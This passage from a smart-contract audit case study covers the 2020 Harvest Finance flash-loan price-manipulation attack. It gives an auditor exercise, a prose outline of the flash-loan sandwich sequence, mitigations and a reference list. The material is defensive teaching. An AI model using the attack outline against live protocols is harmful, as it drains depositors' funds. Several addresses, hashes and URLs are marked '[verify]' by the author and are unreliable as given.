The attack lived in the economic model: a hidden assumption that the protocol’s pricing source was honest within a transaction. Function-level audits do not catch model bugs. What catches them: invariant testing, economic adversary modelling, and threat-model worksheets that include “what if any external contract this protocol reads is fully attacker-controlled inside a single tx?”
The transition from “audit your Solidity” to “audit your accounting equations” started, in earnest, with Harvest.
8. What You Would Have Caught (Pre-Attack Auditor Exercise)
Imagine the Harvest fUSDT strategy lands in your audit queue in mid-October 2020. Here’s the walk-through that should fire signals before you even reach the test suite.
8.1 Immediate fires (under 5 minutes)
| Signal | Why it fires |
|---|---|
StrategyCurveYCRVv2.investedUnderlyingBalance() calls curve_ypool.calc_withdraw_one_coin(yCRV_balance, USDT_index) | This is per-coin Curve math. Per-coin reads on StableSwap pools are reserve-sensitive. Manipulable inside a single transaction. Critical finding. |
Vault.getPricePerFullShare() propagates investedUnderlyingBalance() into share-mint arithmetic | The manipulable read flows directly into “how many shares does this deposit mint.” This is the vault-share oracle — the most consequential class of oracle. |
| No same-block deposit/withdraw lockout | Same-block round-trip is unconstrained. Combined with flash loans, this is the sandwich-of-self primitive served on a platter. |
Strategy reads y-pool composition; y-pool is 0x45f783... — a public, swappable pool with no access control | Anyone holding stablecoins can move the pool’s composition. The strategy implicitly trusts every Curve user to not manipulate at the moment of a Harvest deposit. The trust set is “everyone with $50M and a wallet.” |
| No TWAP, no Chainlink, no time-averaging anywhere in the pricing path | The protocol has zero oracle defense-in-depth. The single read is the single point of failure. |
8.2 Secondary signals (next 30 minutes)
- No emergency pause path on
deposit:setStrategyis timelocked,depositis unconditional. Once an attack begins, the team cannot stop it in-flight. - No deposit-cap or per-block deposit-rate limit: a single transaction can mint shares against an arbitrary fraction of the vault’s TVL. This amplifies any pricing error.
- No share-price freeze across block boundaries: even if a manipulation is detected post-fact, the vault has already minted at the manipulated price. Yearn V2-style
lockedProfitdecay would mitigate; absent here. - Strategy upgrade was timelocked, but strategy initialization parameters were not: governance attack surface, separate concern.
- No bug bounty live at attack time (or capped low): this isn’t a code finding but it’s an organizational finding. A 50K bounty almost certainly would not.
8.3 The 60-second auditor verdict
“The fUSDT vault’s
getPricePerFullShare()includes a call tocalc_withdraw_one_coinon the Curve y-pool. That function’s return is reserve-sensitive and fully movable inside a single transaction by any actor with access to a flash loan ≥ the pool’s slippage-tolerance threshold. A flash-borrow → swap → deposit → reverse-swap → withdraw → repay sandwich extracts the manipulation delta on every iteration, paid by other depositors via NAV dilution. Critical: full-vault drain via flash-loan-funded AMM manipulation. Recommended mitigation: replacecalc_withdraw_one_coinwithget_virtual_price(LP-token valuation, monotonic), or with a TWAP / Chainlink oracle for per-coin reads. Add same-block deposit/withdraw lockout. Estimated exploitability: trivial given Uniswap V2 USDC/USDT flash-swap depth (~$200M available). Severity: critical (entire vault TVL at risk).”
That paragraph, plus a 60-line Foundry PoC of the pattern in §5, would have been the finding. The patch (replace one Curve read + add a block-lockout mapping) is a ~15-line diff.
8.4 What this teaches about audit methodology
- Map every external read in pricing-relevant functions. Don’t trust a function name.
calc_withdraw_one_coinsounds like a withdrawal calculator; it is an oracle from your protocol’s perspective. - Classify reads as block-stable vs block-movable. Chainlink push, Uniswap V3 30-min TWAP, Curve
virtual_price→ block-stable. Spot AMM reserves, per-coin Curve withdrawal calcs, anythingquote*on a live pool → block-movable. - For every block-movable read, ask: “what’s the cheapest way an attacker can move this read by 1%?” If the answer is “a flash loan plus gas,” you have a finding.
- Invariant-test against an adversary that has flash-loan access to every major AMM on the chain. Modern fuzz tooling (Echidna, Medusa, Foundry invariants) can express “given attacker access to {Uniswap V2/V3, Curve, Balancer, Aave, dYdX} flash loans, find a state where any depositor’s share-redeem value falls below the no-op baseline.” This catches model bugs that code review cannot.
The Harvest case is the canonical example of why #3 and #4 are now table stakes for any vault audit.
9. References
Primary post-mortems
- Harvest Finance — “Harvest Flashloan Economic Attack Post-Mortem” (October 26, 2020): https://medium.com/harvest-finance/harvest-flashloan-economic-attack-post-mortem-3cf900d65217
- PeckShield — “Harvest Flashloan Manipulation Detailed Analysis” (October 2020): https://peckshield.medium.com/harvest-finance-incident-analysis-7177e3f1ce72 [verify URL — PeckShield Medium has multiple Harvest posts]
- SlowMist — “Harvest Finance Hacked: Funds Drained” (Chinese / English) [verify URL]: https://slowmist.medium.com/
Technical breakdowns
- The Block / Frank Topbottom — “Harvest Finance suffers $24M attack” (October 26, 2020): https://www.theblock.co/post/82672 [verify]
- Rekt News — “Harvest — REKT”: https://rekt.news/harvest-finance-rekt/ [verify]
- Igor Igamberdiev / The Block Research — Flash-loan-attack thread on X / Twitter (Oct 26, 2020): https://twitter.com/FrankResearcher [verify]
- Trail of Bits / Building Secure Smart Contracts wiki — flash-loan attack patterns (post-Harvest update): https://github.com/crytic/building-secure-contracts
Source contracts (Etherscan)
- Harvest fUSDT vault:
0x053c80eA73Dc6941F518a68E2FC52Ac45BDE7c9C[verify exact address] - Harvest fUSDC vault:
0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE[verify] - StrategyCurveYCRVv2 (USDT variant): see Harvest’s GitHub deployments directory [verify]
- Curve y-pool (yDAI+yUSDC+yUSDT+yTUSD):
0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51 - Curve yCRV token:
0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8
Attacker addresses (Etherscan)
- Attacker EOA:
0xf224ab004461540778a914ea397c589b677e27bb - Exploit contracts:
0xc6028a9fa486f52efd2b95b949ac630d287ce0af,0x3811765a53c3188c24d412daec3f60faad5f119b[verify completeness] - Sample attack tx (fUSDC arm):
0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877[verify hash] - $2.5M return tx: occurred ~40 min after the last attack tx; deployer destination [verify exact tx hash on Etherscan]
Curve protocol references
- Curve StableSwap white paper (Egorov): https://classic.curve.fi/files/stableswap-paper.pdf
- Curve docs —
get_virtual_pricesemantics: https://docs.curve.fi/stableswap-exchange/stableswap/#getting-the-virtual-price - Curve y-pool source: https://etherscan.io/address/0x45f783cce6b7ff23b2ab2d70e416cdb7d6055f51#code
Related attack analyses (same class)
- Cheese Bank (November 2020) — SlowMist post-mortem
- Value DeFi (November 2020) — Mudit Gupta analysis
- Warp Finance (December 2020) — Quantstamp post-mortem
- Pickle Finance jar attack (November 2020) — Banteg / Andre Cronje commentary
Long-form retrospectives
- Hasu / Deribit Insights — “Flash Boys 2.0 in Practice”: https://insights.deribit.com/ [verify]
- Paradigm Research — “DeFi Risks” series (2021): https://www.paradigm.xyz/writing
- Curve y-pool composition at block 11129472 — query via archive node or Dune dashboards reproducing pre/post-attack reserves [verify dashboard URL]
Last updated: 2026-05-16 See also: Tuan-06-Vulnerability-Classes-Part-2 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-09-Oracle-MEV-Economic-Attack · Case-bZx-Price-Manipulation-2020 · Case-Euler-Finance-2023 · Case-Mango-Markets-2022 · Case-The-DAO-Reentrancy-2016 · audit-checklist-master · Roadmap · References